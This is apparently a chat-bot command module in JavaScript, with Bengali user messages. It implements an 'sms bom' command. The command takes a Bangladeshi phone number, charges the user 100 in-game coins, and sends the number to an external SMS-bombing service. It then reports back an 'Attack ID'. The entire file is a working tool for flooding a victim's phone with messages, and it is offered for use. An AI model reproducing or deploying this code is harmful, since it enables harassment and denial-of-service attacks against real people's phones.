const axios = require("axios"); const deltaNext = 5; function expToLevel(exp) { return Math.floor((1 + Math.sqrt(1 + 8 * exp / deltaNext)) / 2); } module.exports = { config: { name: "sms", version: "1.1.1", author: "Azadx69x", countDown: 15, role: 0, shortDescription: { en: "API call (BD)" }, category: "tools", guide: { en: "sms bom 01xxxxxxxxx" } }, onStart: async function ({ event, message, args, usersData }) { const sub = args[0]; const number = args[1]; if (sub !== "bom") { return message.reply("Usage:\n)sms bom 01xxxxxxxxx"); } if (!number || !/^01[0-9]{9}$/.test(number)) { return message.reply("đŸ“ĩ BD āύāĻžāĻŽā§āĻŦāĻžāϰ āĻĻāĻŋāύ\nāωāĻĻāĻžāĻšāϰāĻŖ: )sms bom 01xxxxxxxxx"); } const senderID = event.senderID; const userData = await usersData.get(senderID); const exp = userData?.exp || 0; const balance = userData?.money || 0; const level = expToLevel(exp); if (level < 2) { return message.reply("đŸšĢ āĻāχ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϤ⧇ tk āϞāĻžāĻ—āĻŦ⧇"); } if (balance < 100) { return message.reply(`❌ Not enough coins\nđŸ’ĩ you have: ${balance}\n📝 āĻĻāϰāĻ•āĻžāϰ: 100`); } await usersData.set(senderID, { money: balance - 100 }); await message.reply(`📡 Sending request...\n📩 Target: ${number}`); try { const url = `https://shadowx-sms-bomber.onrender.com/smsb?num=${number}`; const res = await axios.get(url, { timeout: 15000 }); const data = res.data; if (!data || data.success !== true) { return message.reply("❌ API response unsuccessful"); } return message.reply( `✅ Request accepted\n` + `🆔 Attack ID: ${data.attack_id || "N/A"}\n` + `â„šī¸ Message: ${data.message || "No message"}` ); } catch (e) { return message.reply("❌ API unreachable / blocked"); } } };